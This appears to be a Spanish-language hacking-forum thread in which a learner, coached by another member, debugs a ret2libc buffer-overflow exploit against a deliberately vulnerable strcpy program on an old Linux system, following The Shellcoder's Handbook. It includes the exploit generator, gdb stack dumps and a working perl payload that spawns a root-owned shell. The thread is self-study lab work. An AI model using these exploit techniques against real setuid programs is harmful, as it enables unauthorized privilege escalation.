Hola de nuevo compañeros, de nuevo tengo un problemilla.
Vayamos por partes que diría jack el destripador:
Tengo un programa que por poner un ejemplo se está ejecutando con el sticky bit y es propiedad de root y tiene una vulnerabilidad:
int main(int argc, char *argv[])
{
char little_array[512];
if(argc > 1)
strcpy(little_array,argv[1]);
}
Y empleo el siguiente programa para generarme en una variable de entorno el buffer con el que explotar la vulnerabilidad:
#include <stdlib.h>
#include<stdio.h>
#define offset_size 0
#define buffer_size 600
char sc[] =
"\x80\x0d\xed\xb7" //system()
"\xf0\x68\xec\xb7" //exit()
"\xbe\xc7\xfb\xb7" //binsh
;
unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = find_start() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
Vale, entonces la idea es en una máquina en la que no tuviera una pila ejecutable, enviar el flujo a libc ejecutando una shell, para ello según el libro insertamos este cacho:
char sc[] =
"\x80\x0d\xed\xb7" //system()
"\xf0\x68\xec\xb7" //exit()
"\xbe\xc7\xfb\xb7" //binsh
Donde serían las diferentes direcciones de esas llamadas (las he sacado mediante gdb como usa el libro y la de /bin/sh la he sacado con el memfetch como indica también, todo eso es correcto.
La cuestión es que soy incapaz de lograr modificar el retorno y eso que cuando probé con el método de meter NOPs a saco si que lo conseguí.
Los pasos que he realizado son los siguientes:
Generaba por ejemplo $BUF con ./ret2libc 590
Y luego con gdb paraba la ejecución antes de realizar el strcpy y en el ret:
Os dejo todos los desensamblados y más o menos los pasos que he seguido a ver en qué me estoy colando
pianista@pianista-desktop:~ $ gdb -q victim
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048374 <main+0>: push %ebp
0x08048375 <main+1>: mov %esp,%ebp
0x08048377 <main+3>: sub $0x218,%esp
0x0804837d <main+9>: and $0xfffffff0,%esp
0x08048380 <main+12>: mov $0x0,%eax
0x08048385 <main+17>: sub %eax,%esp
0x08048387 <main+19>: cmpl $0x1,0x8(%ebp)
0x0804838b <main+23>: jle 0x80483a7 <main+51>
0x0804838d <main+25>: mov 0xc(%ebp),%eax
0x08048390 <main+28>: add $0x4,%eax
0x08048393 <main+31>: mov (%eax),%eax
0x08048395 <main+33>: mov %eax,0x4(%esp)
0x08048399 <main+37>: lea 0xfffffdf8(%ebp),%eax
0x0804839f <main+43>: mov %eax,(%esp)
0x080483a2 <main+46>: call 0x80482a0 <strcpy@plt>
0x080483a7 <main+51>: leave
0x080483a8 <main+52>: ret
End of assembler dump.
(gdb) b *0x080483a2
Breakpoint 1 at 0x80483a2
(gdb) r $BUF
Starting program: /home/pianista/victim $BUF
Breakpoint 1, 0x080483a2 in main ()
(gdb) disas strcpy
Dump of assembler code for function strcpy:
0xb7f076f0 <strcpy+0>: push %ebp
0xb7f076f1 <strcpy+1>: mov %esp,%ebp
0xb7f076f3 <strcpy+3>: push %esi
0xb7f076f4 <strcpy+4>: mov 0x8(%ebp),%esi
0xb7f076f7 <strcpy+7>: mov 0xc(%ebp),%eax
0xb7f076fa <strcpy+10>: mov %esi,%ecx
0xb7f076fc <strcpy+12>: sub %eax,%ecx
0xb7f076fe <strcpy+14>: mov %eax,%edx
0xb7f07700 <strcpy+16>: movzbl (%edx),%eax
0xb7f07703 <strcpy+19>: mov %al,(%edx,%ecx,1)
0xb7f07706 <strcpy+22>: add $0x1,%edx
0xb7f07709 <strcpy+25>: test %al,%al
0xb7f0770b <strcpy+27>: jne 0xb7f07700 <strcpy+16>
0xb7f0770d <strcpy+29>: mov %esi,%eax
0xb7f0770f <strcpy+31>: pop %esi
0xb7f07710 <strcpy+32>: pop %ebp
0xb7f07711 <strcpy+33>: ret
End of assembler dump.
(gdb) b *0xb7f076f0
Breakpoint 2 at 0xb7f076f0
(gdb) b *0xb7f07711
Breakpoint 3 at 0xb7f07711
(gdb) continue
Continuing.
Breakpoint 2, 0xb7f076f0 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff18c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff19c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ac: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
Breakpoint 3, 0xb7f07711 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0xb7ed0d80 0xb7ec68f0 0xb7fbc7be
0xbffff18c: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff19c: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff1ac: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff83f in ?? ()
(gdb) x/20x $esp
0xbffff38c: 0xc7beb7ec 0xbffff838 0xbffff838 0xbffff838
0xbffff39c: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff3ac: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff3bc: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff3cc: 0x0000f838 0x00000000 0xb7ff9300 0xb7eafded
(gdb) r $BUF
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pianista/victim $BUF
Breakpoint 1, 0x080483a2 in main ()
(gdb) continue
Continuing.
Breakpoint 2, 0xb7f076f0 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff18c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff19c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ac: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/700x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff18c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff19c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ac: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1cc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1dc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ec: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1fc: 0x00000000 0x0804820c 0x0d696910 0xb7ea5fa8
0xbffff20c: 0xbffff244 0xb7fefb79 0xb7eabcd4 0x08048202
0xbffff21c: 0xb80019b9 0xb80019ac 0xb7fe6b38 0xbfff0002
0xbffff22c: 0xb7ff4c69 0x080481d0 0xb80019b8 0xb8000ff4
0xbffff23c: 0xb7fe6b0c 0x00000001 0xbffff2c8 0xb7feff42
0xbffff24c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff25c: 0x00000123 0x0003d8f5 0xbffff294 0xbffff294
0xbffff26c: 0xbffff384 0xf63d4e2e 0xb7fe6858 0x00000003
0xbffff27c: 0xb7e9dc28 0xb7e9da28 0x080481f0 0xf63d4e2e
0xbffff28c: 0x080481fc 0x080481f4 0x00000000 0x00000000
0xbffff29c: 0x00000001 0x00000838 0xb7fe6b38 0xb7fe6858
0xbffff2ac: 0x080481f0 0xb7ea67a8 0x08048190 0x00000001
0xbffff2bc: 0xb8000ff4 0xb8001898 0xbffff378 0xbffff394
0xbffff2cc: 0xb7ff0103 0x08048190 0xbffff378 0xb800183c
---Type <return> to continue, or q <return> to quit---q
Quit
Perdón por la chapa, es que he probado con diferentes - 600,590,595 y logro algún ilegal instrucion pero nada soy incapaz, y es que creo que no estoy acabándolo de pillar del todo.
Saludos y gracias.
Ya que obtienes un Ilegal Instruccion es por que ya estas controlando el EIP, depuralo paso por paso para vee que valores estan tomando los registros
Ya, si a esa conclusión había llegado porque a veces obtengo segmentation fault y otras illegal instruction, pero dios, es que he probado todos los números habidos y por haber y no doy con él xD
A ver si me centro y me entero más de cómo depurar...
De todas maneras, un triple que me lanzo, esos números dado que la palabra son 32bits, deberían ser múltiplos de 4, no???
Saludos
Vale veamos, he depurado y hay una cosa que no acabo de comprender.
Veamos, yo desensamblo strcpy cuando estoy depurando y me sale:
Dump of assembler code for function strcpy:
0xb7f076f0 <strcpy+0>: push %ebp
0xb7f076f1 <strcpy+1>: mov %esp,%ebp
0xb7f076f3 <strcpy+3>: push %esi
0xb7f076f4 <strcpy+4>: mov 0x8(%ebp),%esi
0xb7f076f7 <strcpy+7>: mov 0xc(%ebp),%eax
0xb7f076fa <strcpy+10>: mov %esi,%ecx
0xb7f076fc <strcpy+12>: sub %eax,%ecx
0xb7f076fe <strcpy+14>: mov %eax,%edx
0xb7f07700 <strcpy+16>: movzbl (%edx),%eax
0xb7f07703 <strcpy+19>: mov %al,(%edx,%ecx,1)
0xb7f07706 <strcpy+22>: add $0x1,%edx
0xb7f07709 <strcpy+25>: test %al,%al
0xb7f0770b <strcpy+27>: jne 0xb7f07700 <strcpy+16>
0xb7f0770d <strcpy+29>: mov %esi,%eax
0xb7f0770f <strcpy+31>: pop %esi
0xb7f07710 <strcpy+32>: pop %ebp
0xb7f07711 <strcpy+33>: ret
Por ello decido poner dos puntos de interrupción, uno a la entrada de la función después de haber movido el ebp y tal y otro en el retorno para ver si logro escribir la dirección:
es decir en: 0xb7f076f4 y en 0xb7f07711
Antes de realizar ningun copiado tengo esto en la pila:
Breakpoint 2, 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff144: 0xb8000ce0 0xbffff368 0x080483a7 0xbffff160
0xbffff154: 0xbffff53e 0x00000000 0x00000000 0x00000000
0xbffff164: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff174: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff184: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
Donde 0x080483a7 es la siguiente instrucción en el main:
0x080483a2 <main+46>: call 0x80482a0 <strcpy@plt>
0x080483a7 <main+51>: leave
Pues bien aquí es donde no acabo de pillarlo y es, yo ejecuto ret2libc con los parámetros 600 y por ejemplo 604 y resulta que la pila se rellena hasta el mismo lugar:
Breakpoint 3, 0xb7f07711 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x 0xbffff144
0xbffff144: 0xb8000ce0 0xbffff368 0x080483a7 0xbffff160
0xbffff154: 0xbffff53e 0x00000000 0x00000000 0xb7ed0d80
0xbffff164: 0xb7ec68f0 0xb7fbc7be 0xbffff818 0xbffff818
0xbffff174: 0xbffff818 0xbffff818 0xbffff818 0xbffff818
0xbffff184: 0xbffff818 0xbffff818 0xbffff818 0xbffff818
Ahí se ve como me quedo a 5 posiciones de escribir en el retorno, pero siempre me quedo a esas 5 con 600 y con 604, etc. Sin embargo con menos posiciones no llego, cual es el problema? Hago algo mal?Quizás es ret2libc el que es incorrecto?
Saludos
Bien, he estado meditando y creo que me he colado.
Claro, yo no tengo que intentar escribir el :
0x080483a7
Que aparece en mi depuración, puesto que eso es la dirección que ha metido en la pila la función strcpy para saber a donde tiene que volver, correcto??
Saludos
Hola pianista,
Cita de: pianista en 21 Enero 2012, 15:30 PM
Claro, yo no tengo que intentar escribir el :
0x080483a7
Eso eso, el ret de strcpy __no vas a poder sobrescribirlo__, el que tenes que buscar es el del main. strcpy te va a servir para sobreescribir el ret de main.
Si miras el call stack te vas a dar cuenta (dirs crecientes de arriba para abajo):
* variables locales de strcpy()
* ret strcpy (call strcpy)
* variables locales (little_array[512])
* ret main (call main)
Como ves, cuando queres hacer un bof de little_array lo que logras sobreescribir es el ret main puesto que vas hacia direccions crecientes. El ret de strcpy te es inaccesible.
Cita de: pianista en 21 Enero 2012, 15:30 PM
Que aparece en mi depuración, puesto que eso es la dirección que ha metido en la pila la función strcpy para saber a donde tiene que volver, correcto??
Si. Mete un breakpoint a la vuelta de strcpy y justo antes del ret de main para ver si sobreescribiste bien las cosas.
Saludos!
Tienes toda la razón. Pues muchas gracias por el consejo, ahora cuando tenga un ratejo o mañana, le echo un ojo ;)
Saludos y gracias!
Acabo de repensarlo y si pudieras fijarte en las direcciones, creo que realmente estaba tratando de escribir la dirección correcta, no?, que es: 0x080483a7
Saludos
Cita de: pianista en 9 Febrero 2012, 22:48 PM
Acabo de repensarlo y si pudieras fijarte en las direcciones, creo que realmente estaba tratando de escribir la dirección correcta, no?, que es: 0x080483a7
Esa direccion es codigo ejecutable y no la vas a poder escribir, es justo donde esta el call strcpy en main. EDIT: Al mejor te referias a ese valor en el stack?
Arranca de a poco sino. El que te arma el egg dejalo de lado, usa perl por el momento.
$./vuln `perl -e 'print "A" x 512 . "\xSY\xST\xEM\xAD" x 10;'`
512 para llenar bien little_array, y despues 10 veces la dir de system() para asegurarse que eip la tome bien (tenes ebp antes y despues deberia venir eip). Despues si queres fijate bien el offset para hitear justo eip.
Probalo en gdb primero
$gdb --args ./vuln `perl -e 'print "A" x 512 . "\xSY\xST\xEM\xAD" x 10;'`
break en el ret de main
b *0x080483a8
print del stack
x/64x $esp
Ahi te deberia aparecer la direccion de system que pusiste repetida 10 veces. El primer valor es el que va a tomar eip para el ret.
Intenta todo esto y decime como te fue.
Sino, hay varios detalles antes de poder explotar bien el codigo que pusiste.
1- Como sacaste la direccion de system() ?
2- La direccion de /bin/sh puede variar segun lo ejecutes en gdb o solo.
Saludos
Correcto
He metido por ejemplo como dirección 60606060 y me salta esa dirección en EIP y me queda también en la pila.
La dirección de sh la saqué por memfetch como puse arriba, usándolo en un programa de C que lo invocaba y esperaba X segundos antes para darte tiempo a usar memfetch.
Y las otras las saqué mediante gdb.
Saludos y gracias.
Vale, entonces por esto deducimos, que lo que tiene que estar mal es el ret2libc por:
-Entiendo que si lo hago funcionar por ejemplo así: ./ret2libc 512 10
Tendría ya que pasarse metiendo caracteres puesto que supuestamente me rellenaría el buffer (igual que hacemos en perl) y me metería 10 direcciones de offset con lo cual debería ya estar sobreescribiendo la pila. (dado que en perl le estamos pasando 10 direcciones más y para nosotros sería como desplazarnos 10 respecto de donde está $esp)
Lo que obtengo es program exited with code 040, estoy buscando a ver qué significa ese código.
Correcto?
Saludos
EDITO: El código no sé si es correcto lo he encontrado en /include/asm-generic/errno.h
#define EDEADLK 35 /* Resource deadlock would occur */
#define ENAMETOOLONG 36 /* File name too long */
#define ENOLCK 37 /* No record locks available */
#define ENOSYS 38 /* Function not implemented */
#define ENOTEMPTY 39 /* Directory not empty */
#define ELOOP 40 /* Too many symbolic links encountered */
Me da que no va a ser eso, no?
Hola pianista,
Cita de: pianista en 11 Febrero 2012, 13:35 PM
-Entiendo que si lo hago funcionar por ejemplo así: ./ret2libc 512 10
Tendría ya que pasarse metiendo caracteres puesto que supuestamente me rellenaría el buffer (igual que hacemos en perl) y me metería 10 direcciones de offset con lo cual debería ya estar sobreescribiendo la pila. (dado que en perl le estamos pasando 10 direcciones más y para nosotros sería como desplazarnos 10 respecto de donde está $esp)
Lo codeaste vos ret2libc? Porque no entiendo bien que es lo que intenta hacer. Todos los valores de retorno (sc) se meten al principio mientras que deberian ir al final. La direccion que se saca con find_start() tampoco es muy fiable que digamos, en principio deberia darte la direccion de la ultima variable declarada, pero ni tampoco porque la funcion find_start no es __naked, o sea te diria que lo hagas a manopla con perl ya que te va a resultar mas facil. La sola complicacion, y tampoco es gran cosa, es meter el puntero hacia "/bin/sh".
Hace una cosa, hacete una cadena asi:
print " " x 200 . "/bin/sh;" . "A" x FIXME . "SYSTEM()" . "EXIT()" . "TOBINSH";
Los 200 espacios antes de /bin/sh te dan un poco de juego cuando elijas la direccion al string /bin/sh, ya que system() no los tiene en cuenta. El punto y coma despues de /bin/sh te permite meter cualquier cosa despues. En FIXME mete un valor hasta llegar a hitear eip con la direccion "SYSTEM()", o sea ahi pone la direccion de system que encontraste.
Y en TOBINSH tenes que poner la direccion al principio de ese buffer en el programa vulnerable.
Cita de: pianista en 11 Febrero 2012, 13:35 PM
EDITO: El código no sé si es correcto lo he encontrado en /include/asm-generic/errno.h
#define EDEADLK 35 /* Resource deadlock would occur */
#define ENAMETOOLONG 36 /* File name too long */
#define ENOLCK 37 /* No record locks available */
#define ENOSYS 38 /* Function not implemented */
#define ENOTEMPTY 39 /* Directory not empty */
#define ELOOP 40 /* Too many symbolic links encountered */
Me da que no va a ser eso, no?
mm ni idea si son esos los codigos, lo siento.
Cita de: pianista en 11 Febrero 2012, 13:19 PM
Correcto
He metido por ejemplo como dirección 60606060 y me salta esa dirección en EIP y me queda también en la pila.
La dirección de sh la saqué por memfetch como puse arriba, usándolo en un programa de C que lo invocaba y esperaba X segundos antes para darte tiempo a usar memfetch.
Y las otras las saqué mediante gdb.
Saludos y gracias.
No conocia memfetch. La de system como hiciste? corriste vuln con gdb e hicistes un "x system" ?
La de system la hice con el gdb:
p system
La dirección de la pila que da find_start es correcta, creo que esto es debido a que estoy probando en una ubuntu antigua aposta para que no me cambie el esp.
El ret2libc lo saqué del libro de shellcoders, y aunque hubo alguna cosa que tuve que tocar, sí que parecía que hacía correctamente su trabajo.
Probaré esto que me comentas, aunque me he perdido un poco, podrías explicarme que es lo que hace SYSTEM() y exit()
Me refiero, debería sustiturlo por las direcciones no???
Para que metemos /bin/sh como String?Ahhh entiendo que es para que System lo coja como parámetro?
Saludos
EDITO: Vale entendido, tendría que cambiarlo por las direcciones, de todas maneras, si me lo pudieras explicar un poco más para tontos xD
Asi es, lo de system/exit/tobinsh es para que lo reemplaces con las direcciones y le des al FIXME hasta que veas que sobreescribiste con la dir de system el eip.
Cita de: pianista en 12 Febrero 2012, 21:21 PM
Para que metemos /bin/sh como String?Ahhh entiendo que es para que System lo coja como parámetro?
Sip, cuando llamas a system le tenes que pasar un puntero a un string y para eso vas a tener que buscar la direccion de argv[1] en vuln.
Ahhh ok.
Una duda, y entonces porque en ret2libc no lo están pasando???
(Bueno también menuda pregunta voy a hacer si ni tú ni yo hemos implementado eso xD)
El ret2libc lo corregí respecto al libro según indicaba aquí (era obvio que faltaba eso):
http://shellcoders.blogspot.com/2010/08/chapter-2-using-exploit-pp-31-38.html
Ahh y el uso de memfetch:
http://shellcoders.blogspot.com/2009/05/using-memfetch-page-37.html
Saludos y gracias por tu ayuda Ivanchuk, la verdad es que la idea de volver por ret2libc conceptualmente la tengo asimilada, el problema era que quería probarla, pero vamos me está dando tanto la lata, que lo mismo me paso ya a experimentar con los juegos con los format string
Dios Ivanchuk!
Lo logré!!!!
pianista@pianista-desktop:~ $ BUF=`perl -e 'print " " x 200 . "/bin/sh;" . "A" x 516 . "\x80\x0d\xed\xb7" . "\xf0\x68\xec\xb7" . "\xbe\xc7\xfb\xb7"'`
pianista@pianista-desktop:~ $ ./victim $BUF
sh-3.2$
Muchísimas gracias.
Ya te marearé a partir de ahora con los format Strings :)
Saludos!
PD:Lo que sigo sin entender son los 200 espacios de después del /bin/sh
haha felicitaciones!! ya estas listo pianawan ;-)
Los 200 espacios te sirven en caso de que la direccion al string /bin/sh cambie un toque, el exploit te va a seguir funcionando. Es decir, que le pases " /bin/sh" o " /bin/sh" a system(), el resultado es el mismo.